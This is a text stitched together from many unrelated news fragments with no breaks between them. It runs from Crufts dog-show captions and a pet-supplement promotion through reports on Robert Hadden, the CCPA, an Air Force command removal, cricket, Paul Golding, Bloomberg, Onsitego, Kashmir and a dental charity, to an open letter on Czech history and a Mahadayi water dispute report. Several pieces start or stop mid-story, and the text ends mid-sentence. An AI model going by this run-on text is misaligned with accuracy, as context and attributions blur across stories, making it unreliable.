Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images A woman sits with her shih tzu dog after taking part in the Eukanuba World Challenge competition on the first day of the Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images Two dogs in coats arrive at the Birmingham National Exhibition Centre (NEC) for the first day of the Crufts Dog Show PA An Irish Setter sits on its bench during the annual Crufts Dog Show at the NEC Arena in Birmingham EPA Two miniature toy poodles arrive at the Birmingham National Exhibition Centre (NEC) for the first day of the Crufts Dog Show PA Irena Beselina (L) of Russia grooms Vanilla Icecream an American Cocker Spaniel during the annual Crufts Dog Show at the NEC Arena in Birmingham EPA A dog in a pink neon coat arrives at the Birmingham National Exhibition Centre (NEC) for the first day of the Crufts Dog Show PA A dog is groomed during the annual Crufts Dog Show at the NEC Arena in Birmingham EPA A woman arrives with her Italian greyhound dogs to attend the first day of the Crufts dog show at the National Exhibition Centre AFP/Getty Images A labrador at the Birmingham National Exhibition Centre (NEC) on the first day of the Crufts Dog Show 2019 PA Three Spinone Italiano sit with their owner at the Birmingham National Exhibition Centre (NEC) on the first day of the Crufts Dog Show 2019 PA A Hungarian Vizsla arrives for the first day of the Crufts Dog Show in Birmingham Reuters Spaniels arrive for the first day of the Crufts Dog Show in Birmingham Reuters An Irish Red and White Setter arrives for the first day of the Crufts Dog Show in Birmingham Reuters A labrador rests at the Birmingham National Exhibition Centre (NEC) on the first day of the Crufts Dog Show 2019 PA A Lagotto Romagnolo is groomed during the first day of the Crufts Dog Show in Birmingham Reuters A woman embraces her golden retriever dog after it was awarded a prize on the first day of the Crufts dog show AFP/Getty Images A dog sits among bejewelled dog collars displayed for sale on a trade stall on the first day of the Crufts dog show AFP/Getty Images A labrador holds onto a teddy bear at the Birmingham National Exhibition Centre (NEC) for the first day of the Crufts Dog Show 2019 PA A standard poodle and a toy poodle arrive to attend the first day of the Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images Russian Toy dog named Pride (left) and a Bichon Frise named Henry at Crufts at the launch of the Crufts Dog show at the Birmingham National Exhibition Centre PA A Golden Retriever named Gus, the most popular breed shown at Crufts PA Jan Ralph with her Belgian Shepherds named Puzzel and Spi, the least popular breed shown at Crufts PA YuMOVE campaign manager Gemma Cunningham said: YuMOVEs mission is to help keep dogs active for life, and in Peter weve found the perfect voice to help encourage this movement. Were delighted that he has joined the team. Purves who has four Pekingese toy dogs, Lilly, Max, Bertie and Teddy is fronting the brands Life In The Old Dog Yet campaign which is encouraging owners to think about how their pets can live into old age. YuMOVE is manufactured by Lintbells, which was established in 2006 by John Howie and John Davies. A former New York City obstetrician, who was stripped of his medical license after pleading guilty to serial sexual-assault charges, is being re-investigated after numerous complaints have flooded the Manhattan District Attorney's offices since the wife of former Democratic presidential contender Andrew Yang went public with accusations against the physician. Robert Hadden, who pleaded guilty in 2016 to a single felony count of criminal sexual contact and a misdemeanor count of forcible touching as part of a deal that kept him out of prison, is the focus of a new investigation launched by New York prosecutors, officials said. We admire the courage of the survivors who have recently shared their stories, Danny Frost, a spokesman for Manhattan District Attorney Cy Vance, said in a statement Friday to ABC News. Their voices will be heard and the abuse they suffered will be thoroughly investigated. PHOTO: In this Sept. 4, 2014, file photo, Dr. Robert Hadden appears in Manhattan Supreme Court in New York. (New York Daily News Archive/NY Daily News via Getty Images, FILE) Frost said two senior prosecutors have been assigned to investigate new allegations of sexual misconduct made against Hadden and are in touch with a representative of a number of survivors. Hadden could not be immediately reached for comment. Dozens of women have come forward with public accusations against Hadden since Evelyn Yang, the wife of Andrew Yang, alleged in a January interview with CNN that Hadden assaulted her in 2012 while she was pregnant with her first child. "It started with inappropriate questions around how intimate I was with my husband, sexual activity, just very inappropriate, probing questions that were unrelated to my health, Evelyn Yang told CNN. The examinations became longer, more frequent, and I learned that they were unnecessary most of the time. She alleged that the abuse escalated when she was seven months pregnant. "I was in the exam room, and I was dressed and ready to go," she said. "And then at the last minute, he kind of made up an excuse. He said something about I think you might need a C-section. And he proceeded to grab me over to him and undress me and examine me internally, ungloved. And at first, I was a little bit like what's going on here? she said. Story continues Evelyn Yang was among 19 women who accused Hadden of sexual assault in the previous criminal investigation. She testified before a grand jury which indicted Hadden on multiple felony sex charges stemming from the assaults of six of the women. Hadden, a former obstetrician-gynecologist at Columbia's NewYork-Presbyterian Hospital, negotiated a "conditional discharge" plea deal in 2016 that required him to give up his medical license and register as a low-level sex offender, but allowed him to dodge any jail time or probation. Following Hadden's plea deal, Vance released a statement saying "our primary concern was holding him accountable and making sure he could never do this again." He noted that had Hadden gone to trial, a conviction was not guaranteed. "While we stand by our legal analysis and resulting disposition of this difficult case, we regret that this resolution has caused survivors pain," Vance said in his statement. MORE: Yang's wife, Evelyn, says she was sexually assaulted by her doctor during pregnancy Scott Berkowitz, president for the Rape, Abuse & Incest National Network (RAINN), said in a statement that his organization is "encouraged by the District Attorney's decision to open a new investigation." Anthony T. DiPietro, a malpractice attorney who represents several of Hadden's victims, tepidly applauded Vance's decision to open a new investigation against Hadden. "I'm glad the DA has decided to support the survivors and finally prosecute Hadden, but its not enough," DiPietro said in a statement to ABC News on Friday. MORE: Judge delays decision on dismissing sexual-assault charges against surgeon and girlfriend In 2018, DiPietro filed a lawsuit against Columbia and its affiliated hospitals, accusing them of covering up Hadden's behavior for decades. MORE: Disgraced Olympic doctor Larry Nassar sentenced to up to 175 years in prison "Columbia University has been hiding evidence of Haddens sexual abuse for the past 25 years," DiPietro alleged. "In order to make sure this doesnt happen again, I'm calling for the DA to open a criminal investigation into Columbia University for the role it played in enabling, aiding, abetting, and covering up two decades of sexual abuse." A Columbia University spokesperson declined to comment Friday on the litigation, but added, "We condemn sexual misconduct in any form and will cooperate fully with any request for information from the district attorney's office related to Robert Hadden." Doctor accused of sexual assault by Evelyn Yang, faces new investigation after guilty plea originally appeared on abcnews.go.com University President Charles A. Wight canceled classes Thursday following the discovery of graffiti that threatened black students with lynching. The incident at the public university on Marylands Eastern Shore was reported to campus police, who worked with the FBI to identify a suspect, according to a statement. Officials said they do not believe the individual is a member of the campus community. Read more: Businesses not grasping details of one of the strictest privacy laws in the country Whats interesting in the law is its definition of selling data it doesnt just concern the exchanging of money for data. Its selling, renting, releasing, disclosing, disseminating, making data available, transferring or otherwise communicating it orally, or by electronic or other means. This is a very broad definition that could impact insurance agencies, so their leaders should understand what the law defines as personal data. Names, emails, phone numbers, home addresses, security numbers, drivers license numbers, [and] also IP addresses can be defined as personal data, said Schroeder. Just having 50,000 California citizens look at your website classifies you to comply with this law, so if its part of your marketing strategy to drive traffic to your website, just having them visit not even filling out a form counts towards it. The CCPA allows any Californian consumer to see what personal information is collected, used, shared or sold by businesses, as well as a full list of all the third parties with whom that personal data is then shared. Consumers have the right to delete any personal information held by businesses or third party service providers, and theyre also able to opt-out of the sale of personal information. In light of this, there are a few things insurance agencies should be doing. Because this law creates the right to know, the right to delete, and the right to opt out, if a consumer calls an agency and says, I want to know how you are collecting and using my data, where youre getting it from, and who youre sharing it with, you have to respond to that request within 45 days, Schroeder told Insurance Business. Read more: Why privacy laws introduce more risk and a greater need for insurance Agencies need to create a process of how theyre going to receive these requests, how quickly theyre going to respond to these requests, and where theyre going to get all this information to provide to that consumer, she continued. Once you give them that information, the consumer then has a choice to [have] you delete that data. Now, you dont necessarily have to delete it if you need that data to supply the agreed upon product or service. For insurance, if an agency needs that data to provide the policy, they dont have to delete it, but the agent does have to make sure theyre communicating to the customer that they need the information to provide the insurance that has been requested. Insurance agencies should also update their privacy policies if they have one on their website by making it clear what data theyre gathering and including the description of the rights that Californias citizens have under the CCPA. Moreover, they have to have a webpage on their website that gives consumers the ability to notify the agency that they are opting out of the sale of their data. For anybody who wants to request any of this information, provide a toll free number, provide a form on your website to make sure that you are giving them a way to contact you to get this information, said Schroeder. FORT SHAFTER, Hawaii -- The commander and chief master sergeant heading security forces at Joint Base Pearl Harbor-Hickam were removed from their positions Tuesday for fostering a toxic work environment. Lt. Col. Christopher Robinson and Chief Master Sgt. Justin Crockett of the 647th Security Forces Squadron were "relieved following an investigation which revealed failures in leadership that led to a toxic work environment," Staff Sgt. Nicholas Brown, a 15th Wing spokesman, said in a statement provided to Stars and Stripes on Thursday. The wing has oversight of the security forces. Both men have been reassigned, he said. Col. Tammie Harris, the 647th Air Base Group commander, relieved Robinson, who took command in July 2018, "for lack of confidence in his ability to effectively command," while Crocket was removed "for his role in creating a toxic work environment," Brown said. "Harris determined the command team did not take appropriate actions to enable and grow the appropriate organizational culture across all levels within the squadron," he said. "The investigation will not be released at this time to protect the privacy and due process rights of the airmen involved." Another base official, who had knowledge of the matter but was not authorized to speak publicly, said Crockett had created "issues with morale or disrespecting personnel -- either superiors or those under his supervision." Lt. Col. Melissa Hull was designated acting commander of the 647th, Brown said. She was previously the Security Forces Division deputy at Headquarters Pacific Air Forces. The 647th is composed of Navy and Air Force service members, civilians and contractors, but the base does not publicly release their number. Read more: Sikorsky-Boeing's SB-1 Defiant Helicopter Prototype Impresses Leaders in Flight Demo Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Steve Smith, back in South Africa for the first time since the 2018 ball-tampering scandal, put on 80 runs for the second wicket with Aaron Finch to provide the foundation for Australia's 196 for six in the first Twenty20 international at the Wanderers Stadium on Friday. Australia captain Finch hit powerfully to make 42 off 27 balls and Smith scored 45 off 32 deliveries after Australia lost David Warner to the second ball of the match, caught at fine leg off Dale Steyn. The pair put on 80 off 52 balls before Finch was caught in the deep off left-arm wrist spinner Tabraiz Shamsi. Smith was lucky to survive when a top-edged cut off Lungi Ngidi flew towards Steyn at third man. Steyn lost sight of the ball and it dropped over his head to go for four -- Smith's first runs. Friday's game is the first in South Africa for Smith and Warner since March 2018 when they were banned for ball-tampering in the third Test in Cape Town. Smith was Australia captain and Warner his deputy at the time. Australia, who were sent in, lost wickets at regular intervals on Friday but managed to maintain a rapid scoring rate against a South African bowling attack which conceded 12 wides and struggled to maintain a consistent line and length. Veteran fast bowler Steyn and Shamsi were South Africa's best bowlers, both taking two for 31 in four overs. Fast bowler Kagiso Rabada was erratic on his return to action after being rested for the recent one-day and T20 series against England. He conceded 45 runs in three overs. Paul Golding was stopped by officers at airport on his way back from Russia and charged failing to comply with a duty. The leader of the far-right Britain First group has been charged with an offence under the Terrorism Act, which the BBC reported stemmed from refusing to provide police with the pin code to his phone at the airport. Londons Metropolitan Police said Paul Golding, 38, was charged with wilfully failing to comply with a duty under the so-called Schedule 7 powers in the Terrorism Act, which give police the authority to search travellers at borders and makes it a crime to fail to comply. The BBC said he refused to provide the pin codes to access to his phone in October when he was stopped by police at Heathrow Airport on his way back from Russia. He was charged earlier this month and will appear at Westminster Magistrates Court on February 27, the police said. While some celebrated the move as a victory against the far right, Tarek Younis, a psychology lecturer at Middlesex University, issued a caution. Please think twice before celebrating this news, he tweeted. The point was never that the far right are never charged it was that these laws disproportionately impact Muslims, and never could it be more obvious than it is with Schedule 7 stops at airports. According to Stop Watch, an organisation campaigning against the disproportionate use of stop and search, Schedule 7 of the Terrorism Act enables examining officers to stop, question and/or detain people to ascertain whether they are likely to be engaged in acts of terrorism, without the need for any reasonable suspicion. Despite his vast fortune, billionaire CEO Mike Bloomberg still faces a number of obstacles in his quest to secure the Democratic nomination. He got a late start, hes not on the ballot yet, his ground organization is lacking and, oh yeah, hes not really a Democrat. Thats not exactly true. Bloomberg did officially change his party affiliation in late 2018 after serving three terms as the Republican mayor of New York City. I appreciate the fact that Mr. Bloomberg could no longer associate with what has become of the Republican party, but Im not quite sure hes aware of where the Democratic party is heading. The party, in general, has been moving left for the better part of the last decade, a move accelerated by the current front runner Bernie Sanders. Sanders has moved the Overton window- the range of policy issues deemed acceptable to a parties mainstream - toward the progressive wing over the course of the past five years. There is bountiful evidence that Bloomberg has not followed suit. Bloomberg passes the sniff test when were on the topics of gun control and climate change, heck, hes downright progressive. But, delve a little further into his record and youll find a man openly hostile to now bedrock principals of the Democratic party like a higher minimum wage, Medicare and Social Security. Not to mention the many, many credible accounts of Mayor Bloomberg spouting ignorant, misogynist rich guy crap. Bloomberg has enjoyed the lack of scrutiny his absence from the early races provided, but starting with last nights debate, all bets are off. It was open season on Bloomberg and his many flaws and the former mayor didnt acquit himself particularly well. There are plenty of Democratic moderates still in the race, Im not sure theres the need for a Republican. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. New Delhi, Feb 21 : Onsitego, India's leading after-sales services firm, raised USD 19 million Series B funding led by Zodius Growth Fund with participation from existing investor, Accel Partners. The funding will be utilized for consolidating its market position in the device protection market, and expanding into AMC, home protection and on-demand services. Avendus Capital was the exclusive financial advisor to Onsitego on this transaction. The current after sales ecosystem is fragmented and has high friction owing to multiple touchpoints, with problems of accessibility, quality and transparency. Onsitego fills these inherent gaps in the market with its standardized offerings, backed by a technology platform that drives a differentiated customer experience. The company provides extended warranty, annual maintenance contracts and damage protection plans for devices and appliances in partnership with India's top retailers, marketplaces and consumer finance companies. It has served more than 6 million customers in India. Kunal Mahipal, Founder and CEO, Onsitego said, "We have been growing consistently at a high rate and will continue to maintain growth momentum with the launch of new products, partnerships and business lines. Customer satisfaction and loyalty depends on post-purchase services offered by any company, whether it is a retailer or a brand. The Zodius investment is a validation of our vision and approach and we look forward to work with them to further build our business." Shilpa Kulkarni, Managing Director, Avendus Capital Ptc, commented on the transaction, "Kunal and his team have built a business that leverages technology to bring together a largely fragmented ecosystem, thereby delivering a superior consumer experience. We are excited to be a part of Onsitego's journey to bring new products and innovation to a nascent market while delivering customer delight." Prayank Swaroop, Partner, Accel said, "We invested in Onsitego five years ago as an early investment. The company has grown exponentially since then, without burning any capital. This round is a testament to the strong customer franchise, unique business model, great team and superlative execution. I hope that the best-in-class customer service and new products like AMC which we have launched in the India market will wow our customers even more." Varun Gupta, Director, Digital and Technology, Investment Banking at Avendus Capital said, "Onsitego is a great example of a fundamentally strong business built in a highly capital efficient manner backed by superior execution." At least one Pakistani soldier was killed on Friday after its Army violated ceasefire in the Kupwara district in Jammu and Kashmir. Several other Pakistani soldiers have reportedly been killed but it is yet to be confirmed. In retaliation to Pakistan's shelling, the Indian Army also injured several Pakistani soldiers. The Pakistani soldier, identified as Imtiaz Ali, was killed in Neelum valley. Pakistan has been consistently trying to push terrorists into India from Neelam valley in Pakistan-occupied Kashmir (PoK). The Pakistan Army also resorted to unprovoked firing across the Line of Control (LoC) in Poonch district of Jammu & Kashmir. The firing in Shahpur and Kirni sectors comes a week after a 60-year-old was killed and three others were injured in Pakistani firing on the LoC in the Shahpur sector. According to details, the firing which started in the afternoon is still going on from both sides. The Pakistan Army targeted Indian Army positions and civilian areas with long-range mortars. Sources said the Indian Army is giving a befitting response to the Pakistani aggression. Monarch Dental Team On Saturday, February 8th, eleven doctors and over fifty support staff came together at the Monarch Dental office in Burleson, TX to host a Day of Giving with the Smiles for Everyone Foundation. Individuals were referred to the event through local nonprofits such as Hope Farm Inc., an organization for at-risk youth; Harvest House, a local food bank; and Catholic Charities of Fort Worth. The dental providers were able to welcome 84 low-income patients to receive free cleanings, fillings, extractions and more. In addition to volunteering their services, the Burleson Team used their compassionate spirits to instill positive changes that extend well beyond oral health. I cannot describe how much this has changed my life, expressed patient Laci H. Im truly grateful. Thank you so much from the bottom of my heart! In agreement, patient Deborah W. exclaimed, I am relieved to tears! The Smiles for Everyone Foundation would like to thank the entire Team of volunteers, including Dr. Ghayth Adhami, Dr. Siv Eftekhari, Dr. Avni Goel, Dr. Daniel Ingel, Dr. Brett Johnson, Dr. Bradley Murray, Dr. Jane Poquiz, Dr. Jessica Riccobono, Dr. Joe Sunbarger, Dr. Carol Wald, and Dr. Tabreena Walker. It was their warm spirits and strong dedication that allowed us to deliver Smiles for Everyone in the Greater Dallas Area! The next Day of Giving that the Foundation is hosting will be at Newport Dental in Fullerton, CA on February 23rd. Please visit http://www.smilesforeveryone.org for more information. About Monarch Dental Monarch Dental provides general dentistry, childrens dentistry and specialty care services such as orthodontics, oral surgery, periodontics and endodontics at 89 locations throughout Texas, Arkansas and Utah. Monarch Dental affiliated practices make it easy and affordable for individuals and families to get the dental care they need with convenient locations, extended hours and same-day appointments. The Monarch Dental mission is to create healthier smiles by making dental visits easy and enjoyable. Learn more at http://www.monarchdental.com. About the Smiles For Everyone Foundation The Smiles for Everyone Foundation is a 501(c)(3) nonprofit organization with the mission of delivering smiles for everyone by providing free dental care for those in need, both at home in the U.S. and around the world. Since 2011, the Smiles for Everyone Foundation has delivered over 27,000 smiles and over $20 million in donated dentistry. The foundation currently supports programs which provide free dental care to those in need in Cambodia, Ghana, Laos, Nicaragua, Paraguay, Thailand, and the United States. For more information or to make a donation, visit http://www.smilesforeveryone.org. Contacts: Monarch Dental Jody Martin PR@smilebrands.com 714.427.1299 Smiles for Everyone Foundation Crystal Strait crystal.strait@smilesforeveryone.org 714.824.5037 The Tribunal of History: An Open Letter to Neela Winkelmannova and Lubomir Zaoralek 21. 2. 2020 / Muriel Blaive cas cteni 15 minut The Czech Republic is a country of renowned medieval and nationalism studies. In these two fields, the country is prominent on the world stage in terms of historical methodology. But it is lagging behind when it comes to contemporary history. Political and intellectual elites, even some scholars, still have little grasp of the issues surrounding contemporary history. Feelings are so raw when it comes to communism that rationality seems to give way to emotion. There is a general and overarching confusion about the differences between politics, justice, and history: as if paying tribute to the victims, punishing the culprits, and writing the history of this period amount to one and the same. They do not. There is even more confusion concerning the status of the witness/survivor and that of historical truth, as if the second could only be enacted by the first. I will use two recent examples to make my point: the pressure exerted by Minister of Culture Lubomir Zaoralek on the Lidice Memorial Director Martina Lehmannova for her to resign , and the interview granted by Neela Winkelmannova to journalist Barbora Tacheci on Czech radio, in which they discussed the social usefulness of the Institute for the Study of Totalitarian Regimes . How to judge history Let us start with the notion of historical truth. For most political, cultural, and media elites, the reasoning is simple: the communist regime was bad, it made them suffer, and it must be made to pay for it. Historians should, therefore, sit in the archives and document how the people suffered, while politicians should compensate the victims and pay tribute to them. End of story. Alas, life is not so straightforward. In a tribunal, in order to cast a fair judgment, one has to take into account the context, the extenuating circumstances, and the motivations; one has to confront different points of view, and to balance the interventions of the prosecutor and the defense lawyer. As concerns the reliability of the witness, if we interrogate five witnesses of the same event, we will get five, sometimes diametrically opposed, stories. International human rights lawyer, Philippe Sands, notes that If we interrogate the same witness on five different occasions, we will also get five different stories. The whole trial cannot depend on the witness alone. Moreover, we should remember only too well the variety of prosecutors in the past who knew the truth before they even entered the tribunal. They used the process to make a public point and turned it into a show trial. If we are serious about living in a democracy, our ideal cannot be to imitate these communist practices. The truth is to be determined after the process has taken place, and not before it has even started. An unfulfilled sense of victimhood The real agenda of the people who participate in public discourse with their unreflected anti-communism, and who claim they want to hear the historical truth, is, I believe, to be recognized as victims. Part of the country feels like a victim of communism (and is demanding redress.) Why? Not because of the past but because of the present; namely because the current post-communist regime that which passes for democracy is not perfect. Not everyone is rich and happy, not everything is beautiful, not every voice counts, not everyone profited from the regime change, and too many people are struggling to even maintain a semblance of dignity in their everyday lives. In a painful show of historical amorality, the other countries, in the west of Europe, continue to do well. The Germans, the Austrians, the French, and all those who were fortunate enough to lie on the western side of the Iron Curtain, are richer and happier (or so the Czechs long believed.) They had it good all that time while the Czechs were suffering, and they continue to have it better. How is that fair? And they even lecture the Czechs on what to do! Sadly for the Czechs who are legitimately indignant about the fate of their country in the twentieth century, justice will never be served. That Eastern Europe was abandoned by the West during and after the Second World War will forever remain an incurable historical injustice. As a French citizen, this makes me want to scream at my country, but to no avail because nothing can remedy the decades wasted under communism on the wrong side of the Iron Curtain. I doubt that the West will ever make a proper apology because it cannot be made to even care I can testify to this personally, having sacrificed any chance of an academic career in France simply by moving to, and working on, Czechoslovakia, a faraway country of which we know nothing (and could not care less), as Chamberlain famously said . At least the West tried to lend a hand (probably as some sort of atonement) by bringing the countries of Central Europe into the EU and copiously distributing funds. Victimhood does not dispense from responsibility That these funds often disappear in the pockets of a happy few instead of benefiting everyone is not the fault of the EU. That is where we need to speak of responsibility. Eastern Europe was once abandoned by the West, but this does not exonerate the victim countries, in this case the current Czech population, from responsibility concerning the present. When things are not working out today as hoped, it is not only the fault of the EU and of the past communist regime. It pains me to say this, but it is also, in fact mainly, made possible by the apathy that characterizes Czech and other post-communist societies today. Corruption, embezzlement, abuse of power, and disregard for the common people can be addressed only by holding accountable the people currently in power, as is the point in a democracy. I can appreciate how difficult this is and how powerless people might feel, but this is what needs to be done. This is how democracy works. In other words, to acknowledge suffering and establish responsibilities is legitimate; to blame those who made us suffer in the past, because we feel powerless to confront those who make us suffer in the present, is not helping anyone. We must find the courage to focus on the right adversary. Defining victimhood: how everyday life history can help But how to even account for this past suffering? The more I have worked on Czech history, the more I have realized that political history is missing the point when describing the communist period. Political history is focused on remarkable events and personalities in power. But in the 1970s and 1980s, for instance, almost nothing happened and the communist leaders were anything but fascinating personalities. People were not executed for their political opinions anymore, or thrown in labor camps. Show trials were not staged anymore and no popular revolts took place. The slogan changed from the Stalinist Who is not with us is against us to the normalized Who is not against us is with us. People were not electrified on the Iron Curtain anymore but left for Yugoslavia on trade-union holidays. Does this lack of drama mean that people entirely stopped suffering from the communist rule? Is only spectacular repression worth remembering? Is low-key humiliation to be disregarded because it did not make headlines in the free world? My answer as a historian is no, on the contrary. But only social and cultural history is equipped to describe the banal mediocrity of normalization. That is why I use everyday life history: to account for the day to day, discreet poisoning of peoples lives by zealots and bullies who used the pretext of communist authority to exert their personal toxicity on the people around them. That, dear Barbora Tacheci and Neela Winkelmannova, is what everyday life history is about: it is not about trivializing repression but, on the contrary, restituting it, making it more visible, analyzing it (as an example, take a look at my study of everyday life in Ceske Velenice .) And let us not be mistaken: the leaders at all levels of the normalization regime went almost entirely unpunished after 1989, and this is contributing to the general feeling of historical injustice to a much greater degree than the defection of the West in 1945 this is why it is crucial to find the words to express this frustration. Again, only socio-cultural history can do that. To recap, suffering does not exonerate us from facing responsibilities; at the same time, suffering needs to be acknowledged so that the proper culprits are blamed for their respective crimes or misdemeanors. It is not the West but President Gustav Husak who is to blame for normalization. It is not Husak but the current leaders who are to blame for the current situation. History, justice, and commemoration must be kept separate Just as we need to apportion the right crimes to the right culprits, we need to restore the boundaries between history, justice, and commemoration. Nazism, communism and, more generally, all populist regimes like to blur the distinction between the three; in contrast, democracy prefers a healthy separation. The role of a historian is to determine what happened and to explain why it happened in view of the context. It is not to pass judgement. The role of the justice system is to find and punish the culprits. It is not to serve as an instrument for politicians to eliminate their adversaries. The role of a politician is to honor the victims and commemorate past events. It is not to tell historians what to write. But in the Czech public sphere, the overwhelming feeling of resentment leads to such confusion that many politicians and some historians feel emboldened to profess expertise in all three fields of history, justice and politics. Culture Minister Zaoralek recently provided an example of why this confusion of genres might be problematic, even when it proceeds from good intentions. Claiming that eight victims of Lidice were unhappy with the director of the Lidice memorial, Martina Lehmannova, for failing to reject a historical research that displeased them, he called for her resignation . But the victims were not speaking unanimously: the ninth, in fact the only adult survivor of Lidice, on the contrary supported Ms. Lehmannova. The minister has dismissed her opinion. On what grounds should she be ignored while other victims should be given priority? Are there good victims and bad victims? An obvious question pops up: is political opinion a factor that should help us determine who a good victim is? It so happens that the victims who were dissatisfied with Ms. Lehmannova all belong to a politicized Fighters Union (Cesky svaz bojovniku za svobodu), presided by Jana Bobosikova, candidate of the Communist Party of Bohemia and Moravia in the 2008 presidential election. The support of the Culture Minister therefore can be read as a show of support for the Communist Party for political purposes in the frame of the coalition government, no matter what his intentions were. Here is indeed a clear demonstration of what is wrong with a politician intervening in historical analysis: his position will always be interpreted in view of the current political situation, never as a genuine historical contribution. Academic freedom must be preserved from power games The precedent that this unfortunate example has set is the following: if a historian makes a discovery in the archives that displeases a group of survivors, and if this group makes sufficient noise and claims to speak in the name of the victims, then the politician in charge will be tempted to recall the director of the historical institute, or memorial, or perhaps even archives where this historian works, or even of any institution that fails to denounce and repudiate the work of this historian. Does it sound like a fictional scenario? It is not. Similar calls for resignation were recently issued in Poland at the Museum of the Second World War in Gdansk and at the Polin Museum of Jewish History in Warsaw . In both cases, the Polish authorities claimed to do only what they believed was morally just in the name of the victims, and they were probably sincere, even if woefully wrong. I want to believe that Minister Zaoralek had no such sinister political motivations in mind, but these cases show that, as a matter of principle, a politician should refrain from intervening in the writing of history. It is not his or her role and such an intervention never helps. Victims and survivors are often opposed to historians. This is normal. Historians have great respect for them, but this does not mean that opinions cannot differ and that there should be a unanimous interpretation of the past. It is certainly not for a politician to determine what that interpretation should be. The result of Minister Zaoraleks intervention is that Czech historians will now think twice about communicating the results of their research if they think it might provoke anger in certain groups (it almost always will.) Is academic freedom benefiting from, or being endangered by, such a situation? The answer is obvious. The slow and painful formation of collective memory cannot be accelerated by political means. As a country that went through six years of Nazi occupation and forty-one years of communist dictatorship, the Czech Republic should know this all too well. History, justice, and commemoration are three different aims that should be pursued by three different categories of professionals. This is essential for democracy to work. Tolerance is closer to home than one might think I mentioned previously that I find political history ill-equipped to describe the normalization period. In fact, I would go further and say that it is ill-equipped to account for even the 1950s. The person who made me realize this was none other than Michael Heyrovsky, Neela Winkelmannovas father. I had gone to interview him in the first half of the 1990s as a naive young Western student who believed everything the exiled Czech democrats had written. I, too, was convinced that nothing had happened in 1956 (unlike in Hungary and Poland) because there was too much repression. But Michael Heyrovsky taught me otherwise. He gave me a glimpse of everyday life for a 1956 student; it was not about repression but about negotiating ones way in this regime. It was not about anticommunism but about confronting the ideals with the reality. It was not so much about fear as about strategies to avoid being punished while expressing a form of critique. Through him, I understood for the first time that things were more complex than they appeared in Western books on communism. My last previously taught certainties crumbled when he told me the story of Otakar Svec, the sculptor who had built a statue to Masaryk in the interwar period and come up with a bombastic project for a statue of Stalin on Letna in Prague. The call for projects was compulsory, and Svec calculated that his was so extreme that it would never be selected. Alas, it was, and he ended up building the greatest Stalin statue of all times. He received anonymous phone calls and insulting letters, Heyrovsky gravely told me, until he eventually took his life. Michael Heyrovskys interview can be seen in the film of which I wrote the script, that was broadcast on Czech TV in 1996, 1956: Promarnena sance aneb Navrat Jeziska do Ceskoslovenska . I was very impressed. On that day I understood for the first time that the notions of good and bad were warped when it came to personal choices under the communist dictatorship. I owe much to Mr. Heyrovsky. That his daughter would mistakenly think my approach degrading to the victims a quarter of a century later testifies, alas, more to the radicalization of the post-communist period than to my actual work on the history of communism. I partly understand the frustration. I, too, am scandalized by the almost complete failure of post-communist justice. But to take it out on the imaginary evil of everyday life history shows that Neela Winkelmannova, as almost everyone else in the anti-communist movement, simply does not know what it is. Thirty years after the fall of communism, it would be more productive to stop trying to silence or ridicule other approaches, or even to stop viewing unanimity as a desirable state. As I have argued on another occasion , embracing the existence of dissenting opinions, of a debate, even of disputes, is the condition for reconciliation; and reconciliation is the only way to finally turn the page of this depressing post-communist period. 0 Naushad Bijapur By Express News Service BELAGAVI: Amid attempts to stall Karnatakas desperate bid to implement the Mahadayi water project, the Supreme Courts directions to the Centre for gazette notification of the tribunals interim order on Thursday has come as a major victory for Karnataka. The apex courts directive will not only help overcome the drinking water crisis in several areas of North Karnataka but also make way for generation of power using the Mahadayi river water to be diverted to Karnataka from Goas Mahadai river (also called Mandovi). The Mahadayi Water Dispute Tribunal (MWDT) awarded 13.42 tmcft of water to Karnataka in its final order on August 14, 2018. The tribunal allowed Karnataka to utilise 5.5 tmcft of water from Mahadayi river for drinking water supply and another 8.02 per cent of water for hydroelectricity generation. Karnataka was involved in a long-stretched battle with neighbouring Goa for its share of 36.55 tmcft of water under the Mahadayi project, including 7.56 tmcft for drinking water purpose. Sources said, of the 5.5 tmcft of water allotted for drinking water supply, 3.80 tmcft will be diverted to Malaprabha basin through Kalasa Nala (1.18 tmcft) and Banduri Nala (2.72 tmcft) while 1.50 tmcft is allotted for in-basin consumption in Khanapur region. The apex courts direction for gazette notification of MWDT order has not gone down well with the Goa government and leaders there. Taking to Twitter, Opposition leader in the Goa assembly, Digambar Kamat said, Black Day in Goa as Goa government remains silent on Supreme Courts decision to notify the award of the tribunal diverting water from our lifeline Mother Mahadei to Karnataka. We will now intensify peoples agitation against the insensitive Government@ INCGoa. Disappointed, Goa pins hopes on July 15 hearing However, Goa Water Resources Minister Filip Nery said the top court may have directed for gazette notification of the order but the final hearing on the Mahadayi issue is fixed for July 15 and the Supreme Court would be in favour of Goa. The Goa Government has challenged the tribunals verdict in the Supreme Court. In a tweet, Goa Chief Minister Dr Pramod Sawant said, The Honorable Supreme Court has agreed to take up the appeal filed by the state of Goa challenging the award of Mahadei Tribunal. The matter has been fixed on July 15, 2020. Ever since the MWDT announced the final award on August 14, 2018, the Centre was under tremendous pressure from the Goa government and also Governor Satyapal Malik to protect the interests of the state with regard to the issue. In response to a question raised by B K Hariprasad in the Rajya Sabha recently, the Centre had even made it clear that until the petitions pending before the tribunal were cleared, it was not possible to notify the tribunals order in the gazette. The Centre also stated that the notification at this moment could become sub-judice. It may be noted that clarificatory applications have been filed by Goa, Maharashtra and Karnataka (three stakeholders of Mahadayi project) in the MWDT on some paras in the final judgment. The Centre had virtually rallied behind Goa after the Chief Minister took a delegation late last year to exert pressure. Even as Union Minister for Environment, Forest and Climate 